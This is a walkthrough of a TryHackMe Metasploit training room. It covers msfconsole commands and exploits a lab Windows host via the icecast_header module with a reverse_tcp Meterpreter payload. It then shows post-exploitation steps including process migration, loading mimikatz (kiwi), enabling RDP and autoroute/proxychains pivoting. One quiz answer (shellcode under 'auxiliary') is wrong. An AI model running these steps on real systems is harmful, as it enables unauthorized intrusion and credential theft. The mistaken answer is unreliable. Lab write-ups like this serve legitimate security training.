This is the write up for the room Metasploit on Tryhackme and it is part of the complete beginners path
Make connection with VPN or use the attackbox on Tryhackme site to connect to the Tryhackme lab environment.
Tasks Metasploit
Task 1
Read all that is in the task and press complete
Task 2
2.1 Type in the command in your terminal and press complete
msfdb init
2.2 Type in the following command and press complete
msfconsole -h
2.3 We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘-‘
The answer can be found by typing in msfconsole -h
Answer: -q
2.4 Type in the follwoing command and press complete
msfconsole
2.5 Type in the follwoing command and press complete
db_status
2.6 Cool! We’ve connected to the database, which type of database does Metasploit 5 use?
We can find the answer in the output of the previous question
Answer: postgresql
Task 3
3.1 Type in the follwoing command and press complete
help
3.2 The help menu has a very short one-character alias, what is it?
The answer can be found in the previous command output
Answer ?
3.3 Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?
Answer Search
3.4 Once we’ve found the module we want to leverage, what command we use to select it as the active module?
Answer: use
3.5 How about if we want to view information about either a specific module or just the active one we have selected?
You can find the following answers of the questions under the Core Commands
Answer Info
3.6 Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?
It is in the help first section
Answer Connect
3.7 Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?
Answer Banner
3.8 We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?
Answer: Set
3.9 Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?
Answer: setg
3.10 Now that we’ve learned how to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.
Answer get
3.11 How about changing the value of a variable to null/no value?
Answer unset
3.12 When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?
Answer Spool
3.13 Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.
Answer save
Task 4
To see all modules you can type in the following command
ls /usr/share/metasploit-framework/modules/
4.1 Easily the most common module utilized, which module holds all of the exploit code we will use?
Answer Exploit
4.2 Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?
Answer auxiliary
4.3 One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?
Answer Post
4.4 Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?
Answer Encoder
4.5 Last but not least, which module is used with buffer overflow and ROP attacks?
Answer NOP
4.6 Not every module is loaded in by default, what command can we use to load different modules?
Answer Load
Task 5
Deploy the machine attached to this room
Type in the following command and press complete
db_nmap -sV <MACHINE IP>
5.1 What service does nmap identify running on port 135?
Answer msrpc
5.2 Let’s go ahead and see what information we have collected in the database. Try typing the command hosts into the msfconsole now.
5.3 How about something else from the database, try the command services now.
5.4 One last thing, try the command vulns now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.
5.5 What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start
Answer exploit/windows/http/icecast_header
5.6 What is the name of the column on the far left side of the console that shows up next to ‘Name’?
Answer #
5.7 Now type the command use NUMBER_FROM_PREVIOUS_QUESTION. This is the short way to use modules returned by search results.
Type in use 0
5.8 Next, let’s set the payload using this command set PAYLOAD windows/meterpreter/reverse_tcp. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command set LHOST YOUR_IP_ON_TRYHACKME. You might have to check your IP using the command ip addr, it will likely be your tun0 interface.
Type in ifconfig to get your IP the set the LHOST
5.9 Let’s go ahead and return to our previous exploit, run the command use icecast to select it again.
It is still selected but nevertheless type in the command
use icecast
5.10 One last step before we can run our exploit. Run the command set RHOSTS MACHINE_IP to tell Metasploit which target to attack.
Type in the command:
set RHOSTS MACHINE_IP
5.11 Once you’re set those variables correctly, run the exploit now via either the command exploit or the command run -j to run this as a job.
Type in the command exploit
5.12 Once we’ve started this, we can check all of the jobs running on the system by running the command jobs
I’m using version 6 and this was written for version 5. I typed in the command but it did nothing. Turns out that after the command exploit it spawns a meterpreter. Type exit and the type in the following command
jobs
5.13 After we’ve established our connection in the next task, we can list all of our sessions using the command sessions. Similarly, we can interact with a target session using the command sessions -i SESSION_NUMBER
Ok this is wrong. there need to be session. Running the exploit again it even is saying 2 sessions. But is closes it after I enter exit
Type in the command background. This will put the session in the background then you can type sessions
Task 6
Go into the open session by typing in
sessions -i SESSION_NUMBER
6.1 First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ps. What’s the name of the spool service?
Answer Spoolsv.exe
6.2 Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!
Answer migrate
6.3 Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?
answer getuid
6.4 How about finding more information out about the system itself?
Answer sysinfo
6.5 This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?
You do not need to google this one. We know the command to load modules is load . What do you thing is behind load
Answer load kiwi
6.6 Let’s go ahead and figure out the privileges of our current user, what command do we run?
Answer: getprivs
6.7 What command do we run to transfer files to our victim computer?
Answer Upload
6.8 How about if we want to run a Metasploit module?
Answer: run
6.9 A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?
Answer ipconfig
6. 10 Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command run post/windows/gather/checkvm. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.
6.11 Next, let’s try: run post/multi/recon/local_exploit_suggester. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room Ice.
6.12 Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: run post/windows/manage/enable_rdp
6.13 One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?
Answer shell
Task 7
7.1 Let’s go ahead and run the command run autoroute -h, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.
Also notice the warning in the screenshot
answer run autoroute -s 172.18.1.0 -n 255.255.255.0
7.2 Additionally, we can start a socks5 proxy server out of this session. Background our current meterpreter session and run the command search server/socks5. What is the full path to the socks5 auxiliary module?
to background the session type in
background
So to find it type in search socks
the answer of the qeustion can not be found anymore in version 6 of metasploit
answer: auxiliary/server/socks4a
7.3 Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?
Answer proxychains
